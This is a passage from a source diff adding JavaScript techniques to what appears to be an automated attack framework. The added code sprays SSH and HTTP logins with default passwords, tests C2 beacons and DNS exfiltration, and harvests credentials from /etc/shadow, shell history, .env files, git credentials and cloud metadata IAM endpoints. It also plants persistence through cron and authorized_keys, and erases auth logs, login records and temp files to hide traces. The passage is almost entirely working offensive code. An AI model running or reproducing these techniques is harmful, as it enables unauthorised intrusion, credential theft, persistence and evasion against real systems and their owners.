+ id: 'credential_spray',
1307
+ name: 'Credential Spray',
1308
+ category: 'exploitation',
1309
+ phase: 'delivery',
1310
+ prerequisites: [],
1311
+ conflictsWith: [],
1312
+ stealthRating: 0.3,
1313
+ successBaseline: 0.3,
1314
+ timeEstimate: 60000,
1315
+ execute: async (params) => {
1316
+ const start = Date.now();
1317
+ const target = params.target;
1318
+ const artifacts = [];
1319
+ const ctx = params.context || {};
1320
+ const users = ctx['users'] || ['admin', 'root', 'administrator', 'user', 'test'];
1321
+ const passwords = ctx['passwords'] || ['password', 'admin', '123456', 'Password1'];
1322
+ // Try SSH with timeout (fail fast for security)
1323
+ for (const user of users.slice(0, 3)) {
1324
+ for (const pass of passwords.slice(0, 2)) {
1325
+ try {
1326
+ const { stdout } = await execAsync(`sshpass -p '${pass}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o BatchMode=no ${user}@${target} 'echo SUCCESS' 2>/dev/null`, { timeout: 5000 });
1327
+ if (stdout.includes('SUCCESS')) {
1328
+ artifacts.push({ type: 'valid_cred', data: `SSH ${user}:${pass.slice(0, 2)}***` });
1329
+ }
1330
+ }
1331
+ catch { /* expected failures */ }
1332
+ }
1333
+ }
1334
+ // Try HTTP basic auth
1335
+ const url = target.startsWith('http') ? target : `https://${target}`;
1336
+ for (const user of users.slice(0, 2)) {
1337
+ for (const pass of passwords.slice(0, 2)) {
1338
+ try {
1339
+ const auth = Buffer.from(`${user}:${pass}`).toString('base64');
1340
+ const { stdout } = await execAsync(`curl -s -o /dev/null -w '%{http_code}' -H 'Authorization: Basic ${auth}' '${url}' --connect-timeout 3`, { timeout: 5000 });
1341
+ if (stdout !== '401' && stdout !== '403') {
1342
+ artifacts.push({ type: 'http_auth', data: `${user}:*** -> HTTP ${stdout}` });
1343
+ }
1344
+ }
1345
+ catch { /* ignore */ }
1346
+ }
1347
+ }
1348
+ return { success: artifacts.length > 0, output: { target, tested: users.length * passwords.length, found: artifacts.length }, artifacts, nextTechniques: artifacts.length > 0 ? ['exploit_attempt', 'privesc'] : [], detectionRisk: 0.8, duration: Date.now() - start };
1349
+ },
1350
+ });
1351
+ // C2 Beacon - Real outbound connection test
1352
+ techniqueRegistry.register({
1353
+ id: 'c2_beacon',
1354
+ name: 'C2 Beacon',
1355
+ category: 'post-exploitation',
1356
+ phase: 'command-control',
1357
+ prerequisites: [],
1358
+ conflictsWith: [],
1359
+ stealthRating: 0.4,
1360
+ successBaseline: 0.6,
1361
+ timeEstimate: 15000,
1362
+ execute: async (params) => {
1363
+ const start = Date.now();
1364
+ const artifacts = [];
1365
+ const ctx = params.context || {};
1366
+ const c2Server = ctx['c2_server'];
1367
+ const c2Port = ctx['c2_port'] || 443;
1368
+ if (c2Server) {
1369
+ // Test outbound connection
1370
+ const result = await tcpConnect(c2Server, c2Port, params.timeout || 10000);
1371
+ if (result.open) {
1372
+ artifacts.push({ type: 'c2_connection', data: `${c2Server}:${c2Port} reachable (${result.latency}ms)` });
1373
+ // Test DNS exfil capability
1374
+ try {
1375
+ const testDomain = `test.${c2Server}`;
1376
+ await dns.resolve4(testDomain);
1377
+ artifacts.push({ type: 'dns_exfil', data: 'DNS resolution to C2 domain working' });
1378
+ }
1379
+ catch { /* expected */ }
1380
+ // Test HTTP/HTTPS
1381
+ try {
1382
+ const probe = await httpProbe(`https://${c2Server}:${c2Port}`, 5000);
1383
+ artifacts.push({ type: 'c2_https', data: `HTTPS status ${probe.status}` });
1384
+ }
1385
+ catch {
1386
+ try {
1387
+ const probe = await httpProbe(`http://${c2Server}:${c2Port}`, 5000);
1388
+ artifacts.push({ type: 'c2_http', data: `HTTP status ${probe.status}` });
1389
+ }
1390
+ catch { /* ignore */ }
1391
+ }
1392
+ }
1393
+ return { success: artifacts.length > 0, output: { c2: c2Server, connected: result.open }, artifacts, nextTechniques: ['exfil', 'lateral_move'], detectionRisk: 0.7, duration: Date.now() - start };
1394
+ }
1395
+ // No C2 specified - test common egress
1396
+ for (const port of [80, 443, 8080, 8443]) {
1397
+ const result = await tcpConnect('1.1.1.1', port, 3000);
1398
+ if (result.open)
1399
+ artifacts.push({ type: 'egress', data: `Port ${port} egress open` });
1400
+ }
1401
+ return { success: artifacts.length > 0, output: { egress_tested: true }, artifacts, nextTechniques: ['exfil'], detectionRisk: 0.3, duration: Date.now() - start };
1402
+ },
1403
+ });
1404
+ // Network Discovery - Real ARP/route enumeration
1405
+ techniqueRegistry.register({
1406
+ id: 'network_discovery',
1407
+ name: 'Network Discovery',
1408
+ category: 'post-exploitation',
1409
+ phase: 'command-control',
1410
+ prerequisites: [],
1411
+ conflictsWith: [],
1412
+ stealthRating: 0.5,
1413
+ successBaseline: 0.85,
1414
+ timeEstimate: 30000,
1415
+ execute: async (params) => {
1416
+ const start = Date.now();
1417
+ const artifacts = [];
1418
+ // Get local network info
1419
+ try {
1420
+ const { stdout } = await execAsync('hostname 2>/dev/null', { timeout: 3000 });
1421
+ if (stdout.trim())
1422
+ artifacts.push({ type: 'hostname', data: stdout.trim() });
1423
+ }
1424
+ catch { /* ignore */ }
1425
+ try {
1426
+ const { stdout } = await execAsync('ip addr 2>/dev/null || ifconfig 2>/dev/null', { timeout: 5000 });
1427
+ const ips = stdout.match(/\d+\.\d+\.\d+\.\d+/g);
1428
+ if (ips)
1429
+ artifacts.push({ type: 'local_ips', data: [...new Set(ips)].join(', ') });
1430
+ }
1431
+ catch { /* ignore */ }
1432
+ try {
1433
+ const { stdout } = await execAsync('ip route 2>/dev/null || netstat -rn 2>/dev/null', { timeout: 5000 });
1434
+ const lines = stdout.split('\n').filter(l => l.trim()).slice(0, 5);
1435
+ lines.forEach(l => artifacts.push({ type: 'route', data: l.trim() }));
1436
+ }
1437
+ catch { /* ignore */ }
1438
+ try {
1439
+ const { stdout } = await execAsync('arp -a 2>/dev/null || ip neigh 2>/dev/null', { timeout: 5000 });
1440
+ const hosts = stdout.match(/\d+\.\d+\.\d+\.\d+/g);
1441
+ if (hosts)
1442
+ artifacts.push({ type: 'arp_hosts', data: [...new Set(hosts)].slice(0, 10).join(', ') });
1443
+ }
1444
+ catch { /* ignore */ }
1445
+ try {
1446
+ const { stdout } = await execAsync('cat /etc/resolv.conf 2>/dev/null', { timeout: 3000 });
1447
+ const ns = stdout.match(/nameserver\s+(\d+\.\d+\.\d+\.\d+)/g);
1448
+ if (ns)
1449
+ artifacts.push({ type: 'dns_servers', data: ns.join(', ') });
1450
+ }
1451
+ catch { /* ignore */ }
1452
+ return { success: artifacts.length > 0, output: { discovered: artifacts.length }, artifacts, nextTechniques: ['lateral_move', 'port_scan'], detectionRisk: 0.4, duration: Date.now() - start };
1453
+ },
1454
+ });
1455
+ // Process Enumeration - Real process listing
1456
+ techniqueRegistry.register({
1457
+ id: 'process_enum',
1458
+ name: 'Process Enumeration',
1459
+ category: 'post-exploitation',
1460
+ phase: 'installation',
1461
+ prerequisites: [],
1462
+ conflictsWith: [],
1463
+ stealthRating: 0.7,
1464
+ successBaseline: 0.95,
1465
+ timeEstimate: 10000,
1466
+ execute: async (params) => {
1467
+ const start = Date.now();
1468
+ const artifacts = [];
1469
+ try {
1470
+ const { stdout } = await execAsync('ps aux 2>/dev/null | head -30', { timeout: params.timeout || 10000 });
1471
+ const lines = stdout.split('\n').filter(l => l.trim());
1472
+ // Find interesting processes
1473
+ const interesting = lines.filter(l => /root|admin|www|nginx|apache|mysql|postgres|docker|ssh|systemd/.test(l));
1474
+ interesting.slice(0, 15).forEach(l => artifacts.push({ type: 'process', data: l.slice(0, 150) }));
1475
+ // Also check for security tools
1476
+ const security = lines.filter(l => /falcon|crowdstrike|defender|symantec|mcafee|sophos|kaspersky|edr|siem|splunk/i.test(l));
1477
+ security.forEach(l => artifacts.push({ type: 'security_tool', data: l.slice(0, 100) }));
1478
+ }
1479
+ catch (e) {
1480
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.3, duration: Date.now() - start };
1481
+ }
1482
+ return { success: artifacts.length > 0, output: { processes: artifacts.length }, artifacts, nextTechniques: ['privesc', 'persistence'], detectionRisk: 0.3, duration: Date.now() - start };
1483
+ },
1484
+ });
1485
+ // File Discovery - Real file system enumeration
1486
+ techniqueRegistry.register({
1487
+ id: 'file_discovery',
1488
+ name: 'File Discovery',
1489
+ category: 'post-exploitation',
1490
+ phase: 'actions-on-objectives',
1491
+ prerequisites: [],
1492
+ conflictsWith: [],
1493
+ stealthRating: 0.6,
1494
+ successBaseline: 0.9,
1495
+ timeEstimate: 45000,
1496
+ execute: async (params) => {
1497
+ const start = Date.now();
1498
+ const artifacts = [];
1499
+ const depth = params.depth;
1500
+ // Find sensitive files
1501
+ const patterns = depth === 'quick'
1502
+ ? ['*.conf', '*.key', '*.pem', '.env']
1503
+ : ['*.conf', '*.key', '*.pem', '*.crt', '.env', '*.bak', '*.sql', 'id_rsa', '*.json', '*.xml'];
1504
+ for (const pattern of patterns.slice(0, depth === 'deep' ? patterns.length : 5)) {
1505
+ try {
1506
+ const { stdout } = await execAsync(`find /etc /home /var /opt -name '${pattern}' -type f 2>/dev/null | head -10`, { timeout: 15000 });
1507
+ stdout.split('\n').filter(l => l.trim()).forEach(f => artifacts.push({ type: 'sensitive_file', data: f.trim() }));
1508
+ }
1509
+ catch { /* ignore */ }
1510
+ }
1511
+ // Check for SSH keys
1512
+ try {
1513
+ const { stdout } = await execAsync('find /home -name "id_rsa" -o -name "id_ed25519" 2>/dev/null', { timeout: 10000 });
1514
+ stdout.split('\n').filter(l => l.trim()).forEach(f => artifacts.push({ type: 'ssh_key', data: f.trim() }));
1515
+ }
1516
+ catch { /* ignore */ }
1517
+ // Check for password files
1518
+ try {
1519
+ const { stdout } = await execAsync('find / -name "*password*" -type f 2>/dev/null | head -10', { timeout: 15000 });
1520
+ stdout.split('\n').filter(l => l.trim()).slice(0, 5).forEach(f => artifacts.push({ type: 'password_file', data: f.trim() }));
1521
+ }
1522
+ catch { /* ignore */ }
1523
+ return { success: artifacts.length > 0, output: { files_found: artifacts.length }, artifacts, nextTechniques: ['exfil', 'credential_harvest'], detectionRisk: 0.5, duration: Date.now() - start };
1524
+ },
1525
+ });
1526
+ // Credential Harvesting - Real credential extraction
1527
+ techniqueRegistry.register({
1528
+ id: 'credential_harvest',
1529
+ name: 'Credential Harvesting',
1530
+ category: 'post-exploitation',
1531
+ phase: 'actions-on-objectives',
1532
+ prerequisites: [],
1533
+ conflictsWith: [],
1534
+ stealthRating: 0.3,
1535
+ successBaseline: 0.6,
1536
+ timeEstimate: 30000,
1537
+ execute: async (params) => {
1538
+ const start = Date.now();
1539
+ const artifacts = [];
1540
+ // Check shadow file (needs root)
1541
+ try {
1542
+ const { stdout } = await execAsync('cat /etc/shadow 2>/dev/null | head -10', { timeout: 5000 });
1543
+ if (stdout.trim() && !stdout.includes('Permission denied')) {
1544
+ artifacts.push({ type: 'shadow_access', data: 'readable - hashes available' });
1545
+ const hashes = stdout.split('\n').filter(l => l.includes('$')).length;
1546
+ if (hashes > 0)
1547
+ artifacts.push({ type: 'hash_count', data: `${hashes} password hashes` });
1548
+ }
1549
+ }
1550
+ catch { /* no access */ }
1551
+ // Check for bash history
1552
+ try {
1553
+ const { stdout } = await execAsync('cat ~/.bash_history /root/.bash_history 2>/dev/null | grep -i "pass\\|key\\|secret\\|token" | head -10', { timeout: 10000 });
1554
+ if (stdout.trim())
1555
+ artifacts.push({ type: 'history_secrets', data: `${stdout.split('\n').length} potential credentials in history` });
1556
+ }
1557
+ catch { /* ignore */ }
1558
+ // Check for env files
1559
+ try {
1560
+ const { stdout } = await execAsync('cat .env /var/www/*/.env /home/*/.env 2>/dev/null | grep -i "pass\\|key\\|secret\\|token" | head -10', { timeout: 10000 });
1561
+ if (stdout.trim()) {
1562
+ const lines = stdout.split('\n').filter(l => l.trim());
1563
+ lines.slice(0, 5).forEach(l => artifacts.push({ type: 'env_secret', data: l.replace(/=.+/, '=***') }));
1564
+ }
1565
+ }
1566
+ catch { /* ignore */ }
1567
+ // Check for git credentials
1568
+ try {
1569
+ const { stdout } = await execAsync('cat ~/.git-credentials 2>/dev/null | head -5', { timeout: 5000 });
1570
+ if (stdout.trim())
1571
+ artifacts.push({ type: 'git_creds', data: 'Git credentials found' });
1572
+ }
1573
+ catch { /* ignore */ }
1574
+ return { success: artifacts.length > 0, output: { credentials_found: artifacts.length }, artifacts, nextTechniques: ['lateral_move', 'exfil'], detectionRisk: 0.7, duration: Date.now() - start };
1575
+ },
1576
+ });
1577
+ // Memory Dump - Real process memory access
1578
+ techniqueRegistry.register({
1579
+ id: 'memory_dump',
1580
+ name: 'Memory Dump',
1581
+ category: 'post-exploitation',
1582
+ phase: 'actions-on-objectives',
1583
+ prerequisites: [],
1584
+ conflictsWith: [],
1585
+ stealthRating: 0.2,
1586
+ successBaseline: 0.5,
1587
+ timeEstimate: 60000,
1588
+ execute: async (params) => {
1589
+ const start = Date.now();
1590
+ const artifacts = [];
1591
+ const ctx = params.context || {};
1592
+ const pid = ctx['pid'];
1593
+ if (pid) {
1594
+ try {
1595
+ // Try to read process memory map
1596
+ const { stdout } = await execAsync(`cat /proc/${pid}/maps 2>/dev/null | head -20`, { timeout: 10000 });
1597
+ if (stdout.trim()) {
1598
+ artifacts.push({ type: 'memory_map', data: `Process ${pid} memory map obtained` });
1599
+ // Count memory regions
1600
+ const regions = stdout.split('\n').length;
1601
+ artifacts.push({ type: 'memory_regions', data: `${regions} memory regions` });
1602
+ }
1603
+ }
1604
+ catch (e) {
1605
+ return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.6, duration: Date.now() - start };
1606
+ }
1607
+ }
1608
+ // Try to find strings in process memory
1609
+ try {
1610
+ const { stdout } = await execAsync('strings /proc/$(pgrep -o nginx || pgrep -o apache || pgrep -o ssh)/environ 2>/dev/null | head -20', { timeout: 15000 });
1611
+ if (stdout.trim()) {
1612
+ const secrets = stdout.split('\n').filter(l => /pass|key|secret|token/i.test(l));
1613
+ secrets.slice(0, 5).forEach(s => artifacts.push({ type: 'memory_secret', data: s.replace(/=.+/, '=***') }));
1614
+ }
1615
+ }
1616
+ catch { /* ignore */ }
1617
+ return { success: artifacts.length > 0, output: { memory_data: artifacts.length }, artifacts, nextTechniques: ['credential_harvest', 'exfil'], detectionRisk: 0.8, duration: Date.now() - start };
1618
+ },
1619
+ });
1620
+ // Scheduled Task Persistence - Real cron/systemd
1621
+ techniqueRegistry.register({
1622
+ id: 'sched_persist',
1623
+ name: 'Scheduled Task Persistence',
1624
+ category: 'persistence',
1625
+ phase: 'installation',
1626
+ prerequisites: [],
1627
+ conflictsWith: [],
1628
+ stealthRating: 0.4,
1629
+ successBaseline: 0.7,
1630
+ timeEstimate: 20000,
1631
+ execute: async (params) => {
1632
+ const start = Date.now();
1633
+ const artifacts = [];
1634
+ const ctx = params.context || {};
1635
+ const command = ctx['command'];
1636
+ const schedule = ctx['schedule'] || '*/15 * * * *';
1637
+ if (command) {
1638
+ // Try to add cron job
1639
+ try {
1640
+ const { stdout } = await execAsync(`(crontab -l 2>/dev/null; echo "${schedule} ${command}") | crontab -`, { timeout: 10000 });
1641
+ artifacts.push({ type: 'cron_persist', data: `Cron job added: ${schedule}` });
1642
+ }
1643
+ catch (e) {
1644
+ artifacts.push({ type: 'cron_failed', data: e.message });
1645
+ }
1646
+ // Try systemd timer
1647
+ try {
1648
+ const timerContent = `[Unit]\nDescription=System Task\n[Timer]\nOnCalendar=*:0/15\n[Install]\nWantedBy=timers.target`;
1649
+ await execAsync(`echo '${timerContent}' > /tmp/.timer.timer`, { timeout: 5000 });
1650
+ artifacts.push({ type: 'systemd_timer', data: 'Timer unit created in /tmp' });
1651
+ }
1652
+ catch { /* ignore */ }
1653
+ }
1654
+ // List existing persistence
1655
+ try {
1656
+ const { stdout } = await execAsync('crontab -l 2>/dev/null', { timeout: 5000 });
1657
+ if (stdout.trim())
1658
+ artifacts.push({ type: 'existing_cron', data: `${stdout.split('\n').length} cron entries` });
1659
+ }
1660
+ catch { /* ignore */ }
1661
+ return { success: artifacts.length > 0, output: { persistence: artifacts.length }, artifacts, nextTechniques: ['c2_beacon'], detectionRisk: 0.6, duration: Date.now() - start };
1662
+ },
1663
+ });
1664
+ // SSH Key Persistence - Real authorized_keys manipulation
1665
+ techniqueRegistry.register({
1666
+ id: 'ssh_persist',
1667
+ name: 'SSH Key Persistence',
1668
+ category: 'persistence',
1669
+ phase: 'installation',
1670
+ prerequisites: [],
1671
+ conflictsWith: [],
1672
+ stealthRating: 0.5,
1673
+ successBaseline: 0.65,
1674
+ timeEstimate: 15000,
1675
+ execute: async (params) => {
1676
+ const start = Date.now();
1677
+ const artifacts = [];
1678
+ const ctx = params.context || {};
1679
+ const publicKey = ctx['public_key'];
1680
+ if (publicKey) {
1681
+ // Try to add to authorized_keys
1682
+ try {
1683
+ await execAsync(`mkdir -p ~/.ssh && echo '${publicKey}' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys`, { timeout: 10000 });
1684
+ artifacts.push({ type: 'ssh_persist', data: 'Public key added to authorized_keys' });
1685
+ }
1686
+ catch (e) {
1687
+ artifacts.push({ type: 'ssh_persist_failed', data: e.message });
1688
+ }
1689
+ }
1690
+ // Check existing authorized_keys
1691
+ try {
1692
+ const { stdout } = await execAsync('cat ~/.ssh/authorized_keys /root/.ssh/authorized_keys 2>/dev/null | wc -l', { timeout: 5000 });
1693
+ if (stdout.trim() !== '0')
1694
+ artifacts.push({ type: 'existing_keys', data: `${stdout.trim()} authorized keys present` });
1695
+ }
1696
+ catch { /* ignore */ }
1697
+ return { success: artifacts.length > 0, output: { ssh_persist: artifacts.length }, artifacts, nextTechniques: ['lateral_move'], detectionRisk: 0.5, duration: Date.now() - start };
1698
+ },
1699
+ });
1700
+ // Cleanup - Real artifact removal
1701
+ techniqueRegistry.register({
1702
+ id: 'cleanup',
1703
+ name: 'Cleanup',
1704
+ category: 'evasion',
1705
+ phase: 'actions-on-objectives',
1706
+ prerequisites: [],
1707
+ conflictsWith: [],
1708
+ stealthRating: 0.9,
1709
+ successBaseline: 0.85,
1710
+ timeEstimate: 20000,
1711
+ execute: async (params) => {
1712
+ const start = Date.now();
1713
+ const artifacts = [];
1714
+ // Clear bash history
1715
+ try {
1716
+ await execAsync('history -c; > ~/.bash_history', { timeout: 5000 });
1717
+ artifacts.push({ type: 'cleared', data: 'bash_history' });
1718
+ }
1719
+ catch { /* ignore */ }
1720
+ // Clear auth logs (needs root)
1721
+ try {
1722
+ await execAsync('> /var/log/auth.log 2>/dev/null', { timeout: 5000 });
1723
+ artifacts.push({ type: 'cleared', data: 'auth.log' });
1724
+ }
1725
+ catch { /* ignore */ }
1726
+ // Remove temp files
1727
+ try {
1728
+ await execAsync('rm -rf /tmp/.* 2>/dev/null', { timeout: 5000 });
1729
+ artifacts.push({ type: 'cleared', data: 'temp files' });
1730
+ }
1731
+ catch { /* ignore */ }
1732
+ // Clear wtmp/btmp
1733
+ try {
1734
+ await execAsync('> /var/log/wtmp; > /var/log/btmp 2>/dev/null', { timeout: 5000 });
1735
+ artifacts.push({ type: 'cleared', data: 'login records' });
1736
+ }
1737
+ catch { /* ignore */ }
1738
+ return { success: artifacts.length > 0, output: { cleaned: artifacts.length }, artifacts, nextTechniques: [], detectionRisk: 0.2, duration: Date.now() - start };
1739
+ },
1740
+ });
1741
+ }
1742
+ // Cloud & SaaS Reconnaissance Techniques
1743
+ function registerCloudTechniques() {
1744
+ // Cloud Provider Detection - Real fingerprinting
1745
+ techniqueRegistry.register({
1746
+ id: 'cloud_detect',
1747
+ name: 'Cloud Provider Detection',
1748
+ category: 'recon',
1749
+ phase: 'reconnaissance',
1750
+ prerequisites: [],
1751
+ conflictsWith: [],
1752
+ stealthRating: 0.95,
1753
+ successBaseline: 0.9,
1754
+ timeEstimate: 15000,
1755
+ execute: async (params) => {
1756
+ const start = Date.now();
1757
+ const target = params.target;
1758
+ const artifacts = [];
1759
+ try {
1760
+ // Resolve IPs
1761
+ const ips = await dns.resolve4(target).catch(() => []);
1762
+ for (const ip of ips.slice(0, 3)) {
1763
+ artifacts.push({ type: 'ip', data: ip });
1764
+ // Check IP ranges for cloud providers
1765
+ const ipNum = ip.split('.').reduce((acc, oct) => (acc << 8) + parseInt(oct), 0);
1766
+ // AWS ranges (simplified)
1767
+ if ((ipNum >= 0x03000000 && ipNum <= 0x03FFFFFF) || (ipNum >= 0x34000000 && ipNum <= 0x37FFFFFF)) {
1768
+ artifacts.push({ type: 'cloud_provider', data: 'AWS (likely)' });
1769
+ }
1770
+ // Google Cloud ranges
1771
+ if (ipNum >= 0x23000000 && ipNum <= 0x23FFFFFF) {
1772
+ artifacts.push({ type: 'cloud_provider', data: 'Google Cloud (likely)' });
1773
+ }
1774
+ // Azure ranges
1775
+ if (ipNum >= 0x0D000000 && ipNum <= 0x0DFFFFFF) {
1776
+ artifacts.push({ type: 'cloud_provider', data: 'Azure (likely)' });
1777
+ }
1778
+ }
1779
+ // Check headers for cloud signatures
1780
+ const url = target.startsWith('http') ? target : `https://${target}`;
1781
+ const probe = await httpProbe(url, 5000).catch(() => null);
1782
+ if (probe) {
1783
+ if (probe.headers['x-amz-request-id'] || probe.headers['x-amz-id-2'])
1784
+ artifacts.push({ type: 'cloud_provider', data: 'AWS (confirmed via headers)' });
1785
+ if (probe.headers['x-goog-generation'] || probe.headers['x-guploader-uploadid'])
1786
+ artifacts.push({ type: 'cloud_provider', data: 'Google Cloud (confirmed via headers)' });
1787
+ if (probe.headers['x-ms-request-id'] || probe.headers['x-azure-ref'])
1788
+ artifacts.push({ type: 'cloud_provider', data: 'Azure (confirmed via headers)' });
1789
+ if (probe.headers['cf-ray'])
1790
+ artifacts.push({ type: 'cdn', data: 'Cloudflare' });
1791
+ if (probe.headers['x-cache'] && probe.headers['x-cache'].includes('cloudfront'))
1792
+ artifacts.push({ type: 'cdn', data: 'CloudFront' });
1793
+ if (probe.headers['x-served-by'] && probe.headers['x-served-by'].includes('cache'))
1794
+ artifacts.push({ type: 'cdn', data: 'Fastly' });
1795
+ }
1796
+ }
1797
+ catch { /* ignore */ }
1798
+ return { success: artifacts.length > 0, output: { target, cloud_data: artifacts.length }, artifacts, nextTechniques: ['s3_enum', 'gcs_enum', 'azure_enum'], detectionRisk: 0.05, duration: Date.now() - start };
1799
+ },
1800
+ });
1801
+ // S3 Bucket Enumeration - Real bucket discovery
1802
+ techniqueRegistry.register({
1803
+ id: 's3_enum',
1804
+ name: 'S3 Bucket Enumeration',
1805
+ category: 'recon',
1806
+ phase: 'reconnaissance',
1807
+ prerequisites: [],
1808
+ conflictsWith: [],
1809
+ stealthRating: 0.85,
1810
+ successBaseline: 0.7,
1811
+ timeEstimate: 30000,
1812
+ execute: async (params) => {
1813
+ const start = Date.now();
1814
+ const target = params.target.replace(/^https?:\/\//, '').replace(/\/.+/, '').split('.')[0] || params.target;
1815
+ const artifacts = [];
1816
+ const bucketVariations = [
1817
+ target, `${target}-dev`, `${target}-staging`, `${target}-prod`, `${target}-backup`,
1818
+ `${target}-assets`, `${target}-static`, `${target}-data`, `${target}-logs`,
1819
+ `${target}.com`, `${target}-public`, `${target}-private`, `${target}-internal`
1820
+ ];
1821
+ for (const bucket of bucketVariations.slice(0, params.depth === 'quick' ? 4 : params.depth === 'deep' ? 12 : 8)) {
1822
+ try {
1823
+ const probe = await httpProbe(`https://${bucket}.s3.amazonaws.com`, 3000);
1824
+ if (probe.status !== 404) {
1825
+ artifacts.push({ type: 's3_bucket', data: `${bucket} - HTTP ${probe.status}` });
1826
+ if (probe.status === 200)
1827
+ artifacts.push({ type: 's3_public', data: `${bucket} is publicly accessible!` });
1828
+ if (probe.status === 403)
1829
+ artifacts.push({ type: 's3_exists', data: `${bucket} exists but access denied` });
1830
+ }
1831
+ }
1832
+ catch { /* bucket doesn't exist or not accessible */ }
1833
+ // Also check region-specific endpoints
1834
+ try {
1835
+ const probe = await httpProbe(`https://s3.us-east-1.amazonaws.com/${bucket}`, 3000);
1836
+ if (probe.status !== 404 && probe.status !== 400) {
1837
+ artifacts.push({ type: 's3_bucket_path', data: `${bucket} via path-style - HTTP ${probe.status}` });
1838
+ }
1839
+ }
1840
+ catch { /* ignore */ }
1841
+ }
1842
+ return { success: artifacts.length > 0, output: { target, buckets_found: artifacts.length }, artifacts, nextTechniques: ['cloud_metadata', 'vuln_scan'], detectionRisk: 0.15, duration: Date.now() - start };
1843
+ },
1844
+ });
1845
+ // GCS Bucket Enumeration - Real Google Cloud Storage discovery
1846
+ techniqueRegistry.register({
1847
+ id: 'gcs_enum',
1848
+ name: 'GCS Bucket Enumeration',
1849
+ category: 'recon',
1850
+ phase: 'reconnaissance',
1851
+ prerequisites: [],
1852
+ conflictsWith: [],
1853
+ stealthRating: 0.85,
1854
+ successBaseline: 0.65,
1855
+ timeEstimate: 25000,
1856
+ execute: async (params) => {
1857
+ const start = Date.now();
1858
+ const target = params.target.replace(/^https?:\/\//, '').replace(/\/.+/, '').split('.')[0] || params.target;
1859
+ const artifacts = [];
1860
+ const bucketVariations = [target, `${target}-dev`, `${target}-prod`, `${target}-backup`, `${target}-public`, `${target}_data`];
1861
+ for (const bucket of bucketVariations.slice(0, params.depth === 'quick' ? 3 : 6)) {
1862
+ try {
1863
+ const probe = await httpProbe(`https://storage.googleapis.com/${bucket}`, 3000);
1864
+ if (probe.status !== 404) {
1865
+ artifacts.push({ type: 'gcs_bucket', data: `${bucket} - HTTP ${probe.status}` });
1866
+ if (probe.status === 200)
1867
+ artifacts.push({ type: 'gcs_public', data: `${bucket} is publicly accessible!` });
1868
+ }
1869
+ }
1870
+ catch { /* ignore */ }
1871
+ }
1872
+ return { success: artifacts.length > 0, output: { target, buckets_found: artifacts.length }, artifacts, nextTechniques: ['cloud_metadata'], detectionRisk: 0.15, duration: Date.now() - start };
1873
+ },
1874
+ });
1875
+ // Azure Blob Enumeration - Real Azure Storage discovery
1876
+ techniqueRegistry.register({
1877
+ id: 'azure_enum',
1878
+ name: 'Azure Blob Enumeration',
1879
+ category: 'recon',
1880
+ phase: 'reconnaissance',
1881
+ prerequisites: [],
1882
+ conflictsWith: [],
1883
+ stealthRating: 0.85,
1884
+ successBaseline: 0.6,
1885
+ timeEstimate: 25000,
1886
+ execute: async (params) => {
1887
+ const start = Date.now();
1888
+ const target = params.target.replace(/^https?:\/\//, '').replace(/\/.+/, '').split('.')[0] || params.target;
1889
+ const artifacts = [];
1890
+ const accountVariations = [target, `${target}dev`, `${target}prod`, `${target}storage`, `${target}data`];
1891
+ for (const account of accountVariations.slice(0, params.depth === 'quick' ? 2 : 5)) {
1892
+ try {
1893
+ const probe = await httpProbe(`https://${account}.blob.core.windows.net`, 3000);
1894
+ if (probe.status !== 404 && probe.status !== 400) {
1895
+ artifacts.push({ type: 'azure_storage', data: `${account}.blob.core.windows.net - HTTP ${probe.status}` });
1896
+ }
1897
+ }
1898
+ catch { /* ignore */ }
1899
+ // Check for common containers
1900
+ for (const container of ['$web', 'public', 'data', 'backup', 'assets']) {
1901
+ try {
1902
+ const probe = await httpProbe(`https://${account}.blob.core.windows.net/${container}?restype=container&comp=list`, 3000);
1903
+ if (probe.status === 200) {
1904
+ artifacts.push({ type: 'azure_container_public', data: `${account}/${container} is publicly listable!` });
1905
+ }
1906
+ }
1907
+ catch { /* ignore */ }
1908
+ }
1909
+ }
1910
+ return { success: artifacts.length > 0, output: { target, storage_found: artifacts.length }, artifacts, nextTechniques: ['cloud_metadata'], detectionRisk: 0.15, duration: Date.now() - start };
1911
+ },
1912
+ });
1913
+ // Cloud Metadata Service - Real IMDS probing
1914
+ techniqueRegistry.register({
1915
+ id: 'cloud_metadata',
1916
+ name: 'Cloud Metadata Service',
1917
+ category: 'exploitation',
1918
+ phase: 'exploitation',
1919
+ prerequisites: [],
1920
+ conflictsWith: [],
1921
+ stealthRating: 0.3,
1922
+ successBaseline: 0.4,
1923
+ timeEstimate: 20000,
1924
+ execute: async (params) => {
1925
+ const start = Date.now();
1926
+ const artifacts = [];
1927
+ // AWS IMDS
1928
+ try {
1929
+ const { stdout } = await execAsync('curl -s -m 2 http://169.254.169.254/latest/meta-data/', { timeout: 5000 });
1930
+ if (stdout && !stdout.includes('404')) {
1931
+ artifacts.push({ type: 'aws_imds', data: 'AWS metadata service accessible' });
1932
+ const paths = stdout.split('\n').filter(p => p.trim());
1933
+ artifacts.push({ type: 'aws_metadata_paths', data: paths.slice(0, 10).join(', ') });
1934
+ // Try to get IAM role
1935
+ try {
1936
+ const { stdout: role } = await execAsync('curl -s -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/', { timeout: 3000 });
1937
+ if (role.trim())
1938
+ artifacts.push({ type: 'aws_iam_role', data: role.trim() });
1939
+ }
1940
+ catch { /* ignore */ }
1941
+ }
1942
+ }
1943
+ catch { /* not on AWS or IMDS blocked */ }
1944
+ // GCP metadata
1945
+ try {
1946
+ const { stdout } = await execAsync('curl -s -m 2 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/', { timeout: 5000 });
1947
+ if (stdout && !stdout.includes('404')) {
1948
+ artifacts.push({ type: 'gcp_metadata', data: 'GCP metadata service accessible' });
1949
+ }
1950
+ }
1951
+ catch { /* not on GCP */ }
1952
+ // Azure IMDS
1953
+ try {
1954
+ const { stdout } = await execAsync('curl -s -m 2 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"', { timeout: 5000 });
1955
+ if (stdout && stdout.includes('compute')) {
1956
+ artifacts.push({ type: 'azure_imds', data: 'Azure metadata service accessible' });
1957
+ }
1958
+ }
1959
+ catch { /* not on Azure */ }
1960
